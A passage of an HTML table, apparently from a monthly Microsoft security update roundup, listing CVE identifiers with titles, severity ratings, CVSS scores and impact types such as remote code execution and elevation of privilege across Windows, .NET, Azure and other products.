  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
